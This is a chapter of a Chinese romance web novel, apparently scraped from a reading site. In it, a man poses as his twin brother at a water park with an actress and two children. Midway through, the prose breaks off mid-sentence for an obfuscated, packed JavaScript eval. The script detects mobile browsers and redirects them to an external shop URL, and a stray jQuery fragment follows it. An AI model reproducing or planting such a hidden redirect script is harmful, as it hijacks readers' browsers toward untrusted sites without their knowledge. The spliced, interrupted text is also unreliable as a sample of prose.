文趣网 > 都市小说 > 顶流 > 64. 第64章:心虚
    从水里上岸,薛恩情沾了一身水,点点水滴顺着膝盖流落在地面。

    不见许多甜的跟屁虫保镖姜红柏,就见许多甜一个人抱着孩子坐在人来人往的岸边。

    薛恩情牵着彰茂走向许多甜,离近了惊觉许多甜的皮肤好白。

    许多甜还没问,薛恩情就主动交代道:“彰荣、彰茂一看见玩的东西,他们就走不动道了,非要在这里玩,不是我不带着他们来找你。”

    许多甜没有怪罪他的意思,在约定的西瓜摊左右没等着人,许多甜又不是木头,只会傻乎乎站在那里,没等到他们父子三人出现,许多甜打去电话无人接听,许多甜就带着姜红柏一起在乐园里溜达,经过此处时,许多甜本没看见水里的他们,是彰荣率先看见许多甜。

    彰荣从池子里迅速爬起来,一把抱住许多甜的腿叫妈妈。

    有了彰荣,许多甜顺着就近水池里看去,就看见了泡在池子里,浑然没察觉丢了一个孩子的薛恩情。

    她就抱着彰荣坐在岸上等。

    好在薛恩情反应够快,很快察觉彰荣不见了,他找见时,玩累了的彰荣已经倚在许多甜怀里睡着了。

    许多甜抬头望向站在自己眼前的薛恩情,墨镜表面反光照出薛恩情沾着水珠的上半身。

    多打量了几眼,许多甜毫不忌讳说道:“薛恩义,太久没见过你裸着上半身了,我怎么觉得你的身体线条,比起以前,还要更紧致了?”

    薛恩情、薛恩义外表区别不大,两人身上没有特殊印记或胎记,唯一有些许差别的是薛恩情从小肌肉紧实,薛恩义则过早和女人接触,沉浸于花花世界,酒色沾染多了,薛恩义的身体线条相比较薛恩情的身体线条,看上去会显得笨拙松软一些。

    这就是兄弟俩的细微差别,还需脱了衣服,才能辨出这细微不同。

    许多甜没有放在心上,薛恩情也没有去解释,他躬身弯下腰,作势要去抱在许多甜怀里睡觉的彰荣,“我来抱他。”

    薛恩情双手刚碰到彰荣,彰荣还没睁开眼,就挣扎着把薛恩情的手推开了,睡颜迷蒙的状态,嘴里喊着不要,拒绝薛恩情把自己从许多甜怀里抱走。

    双胞胎就是喜欢争,衣服要买两套一模一样,玩具要相同的两套,彰茂见彰荣扒着许多甜不放手,彰茂果断挣脱了薛恩情的手,也往许多甜身上扑。

    只是彰荣要叫许多甜为妈妈,彰茂不叫许多甜为妈妈,他抱上许多甜的腿一言不发,像一只鸵鸟,脑袋害羞状埋在许多甜的腿间。

    这让薛恩情尴尬,想从许多甜怀里把孩子抱出来失败,手里牵着的另一个孩子还抱上了许多甜,两个孩子都跟了许多甜。

    姜红柏从甜品站买冰淇淋返回,左右手各拿一支五彩甜筒,让许多甜选择。

    “甜姐,你是吃薄荷味的冰淇淋,还是吃草莓味的冰淇淋。”

    “草莓味。”

    姜红柏把草莓味冰淇淋递给许多甜。

    两孩子一看冰淇淋就闹着要吃,薛恩情阻止,“不行,你们不能吃。”

    又对许多甜说道:“不要拿给他们吃,上次他们吃冰饮,又吐又拉,半夜送医院挂急诊累翻全家人。”

    何况彰荣、彰茂刚在水里玩了,身体发凉,再吃冰淇淋,这对身体的刺激只会更大。

    许多甜见彰荣、彰茂馋得直流口水,他们像两只可爱奶狗,张大了嘴,流出热气腾腾的哈喇子,她无视薛恩情的阻拦,道:“没事,就舔一口。”

    草莓味冰淇淋甜筒被彰荣、彰茂各舔了一口后,许多甜也舔了一口,然后她把冰淇淋递给薛恩情。

    薛恩情愣住了,自己也要吃吗?

    这是吃,还是不吃?

    如果冰淇淋只是被彰荣、彰茂舔了,那他肯定没有顾虑接下这冰淇淋吃了,可这冰淇淋经过了许多甜的嘴,他还没吃过杨明初以外女人碰过的食物。

    “薛恩义,你愣着干嘛,我的手都举酸了。”许多甜看了看手里已经融化的冰淇淋,催促他快接过去。

    没错,薛恩情想道,自己现在是薛恩义。

    薛恩义和许多甜都生了两个孩子,那吃许多甜舔过的冰淇淋算什么。

    薛恩情接过了许多甜手里的冰淇淋,舔了一大口。

    这看呆了许多甜。

    她没想让薛恩情吃冰淇淋,她是示意薛恩情帮忙把冰淇淋丢去垃圾桶里,这种冰淇淋热量高,每次她吃这样的冰淇淋,就是舔一口尝尝味道,剩下的都丢弃了。

    姜红柏快要把手里的冰淇淋吃完了,他吃着嘎巴脆的甜筒,见薛恩情大嘴啃上冰淇淋球,吃冰淇淋狼吞虎咽,好比吃大米饭,他第一次对人有了讥讽的心声。

    姜红柏想道,这个男人,比自己还要老土,许多甜竟和他生了孩子,真是不可思议。

    薛恩情看许多甜欲言又止的神态,转动着手里的冰淇淋甜筒大吃,说道:“你想说什么?”

    大半冰淇淋都被薛恩情吃下了,他吃得很快,再慢一步,彰荣、彰茂就会被馋得哇哇大叫,泪水和口水流成了一块儿。

    许多甜也怪自己没把话说清楚,她摇摇头,“没想说什么。”

    她忽然想起与薛恩义恋爱期间,有一天,他们在一个高档餐厅吃饭约会,有一道菜品是鱼子酱寿司,她吃了一口,恶心到咽不下去。

    那个鱼子酱寿司单价两百多块,许多甜不舍这么贵的食物丢掉浪费,她就把吃了一口的鱼子酱寿司拿给薛恩义,让薛恩义吃下。

    薛恩义拒绝吃下。

    “吃不下就丢了,这东西又不值钱,我不习惯吃别人咬过的食物。”

    就在那顿饭的几天后,许多甜用验孕棒测出自己怀孕了。

    人造海滩前,许多甜站在这片假大海前,左手牵彰荣,右手牵彰茂。

    她牵着他们,她还是没能分清谁是哥哥谁是弟弟,可这又怎样,两个孩子都是她辛苦怀孕生下来,她一视同仁,一样喜爱。

    只是这喜爱的程度,还达不到最满。

    就像一瓶水,只掺了一半。

    她看他们,只觉得是可爱的小猫小狗,逗他们玩一玩就足够了。

    日落,接近黄昏。

    风吹来,身上有了凉感,树枝摇曳晃动,天际的乌云聚集。

    玩了约三小时,许多甜从来没带孩子带这么久,她累得眼睛直发愣,主动结束今天的游乐场之旅。

    因她是公众人物,不与别人一起在公共场所换衣,她在海岛乐园定了单人专属休息间,这个休息间有三个分区,分别是休息区、沐浴间、换衣区。

    在这三个小时的玩乐里,彰荣、彰茂已与姜红柏玩熟了,两个小孩叫

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17893733|207218||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    姜红柏为大哥哥,一行人来许多甜的休息间换衣服,他们不要薛恩情换,非要缠着姜红柏给他们换衣服,还要姜红柏给他们讲军营里的坦克、大炮等。

    他们还说今天回家,要把姜红柏带回家和他们一起玩。

    姜红柏为彰荣、彰茂洗了澡,擦干身体换好衣服,两个小孩紧拉着姜红柏要出休息间,让姜红柏去外面给他们抓毛毛虫。

    “甜姐,我带他们出去等你们。”姜红柏知会了一声在休息区坐着喝水的许多甜。

    许多甜点头,“别跑远了。”

    “知道。”

    姜红柏被两个孩子急不可耐拉出去了。

    此时,薛恩情正在沐浴间洗澡。

    海岛乐园的海水和沙子最多,海水是假海水,客流量大,难免会有污染,海沙是真沙子,薛恩情穿着人字拖,那些沙子夹在脚缝里不好受,他就在许多甜的休息间里洗澡洗头。

    水声太大,他没有听见姜红柏说要把两个孩子带出去的话。

    等他洗完澡走出来,喊着彰荣、彰茂的名字,找寻他们时,拐角一走过去,冷不丁走来许多甜,那张迎面放大的脸美了他一大跳。

    他心中立即想道,难怪自己的弟弟要和她生孩子,顶美的基因稳定,基因随了生父成了双胞胎,外貌随了顶美的脸。

    许多甜:“他们要毛毛虫,大红带他们出去抓毛毛虫了。”

    “噢,那我去外面看看。”

    薛恩情对许多甜的视线躲避,绕开许多甜就要走出去。

    他绕开许多甜,许多甜却退后一步,挡住了他。

    许多甜身上飘来一股温热的香味,像流动的轻纱,蒙上了薛恩情的眼,他的眼变得涩和胀。

    “薛恩义,正好这里只有我们两个人,我们把话说清楚。”

    薛恩情不知道薛恩义和许多甜有什么话要谈,他心想万一露馅了,哪句话没说好,回头薛恩义怪罪他也没用。

    事情的发展,不是他能控制的。

    “恩。”薛恩情连续点头,“你说。”

    许多甜:“我和沈舟云分手了,你把之前撤走的资源还给我吧。”

    有关许多甜和沈舟云的事,薛恩情完全不知,更不知薛恩义撤走了给许多甜的资源。

    许多甜的话,对于薛恩情是无字天书,他根本不懂。

    他对许多甜的私人感情问题,还停留在许多甜和金长平吃了一顿饭,这次再听说许多甜的私事,就变成和一个叫沈舟云的男人分手了。

    见薛恩情不敢正视自己,眼神闪躲心虚,许多甜说道:“薛恩义,你看着我说话。”

    薛恩情只要一对上许多甜的脸,视线范围里,除了她的脸,还有她的上半身。

    她身穿鹅黄色比基尼,搭了一件白色罩衫都盖不住她的好身材,胸前沟壑颇深,若隐若现只会更引男人浮想。

    先前游玩时,薛恩情的目光无意撞上好几次许多甜的身材,在许多甜抱着彰荣弯腰玩耍时,看得更清晰。

    薛恩情的耳朵红了好几次。

    现在被许多甜要求看着她的脸说话,薛恩情做不到。

    他垂眸,视线定格在许多甜的膝盖上。

    那对膝盖上,黏有海沙,薛恩情见不得脏,一见那膝盖,就想要把海沙从许多甜的膝盖强迫拍下。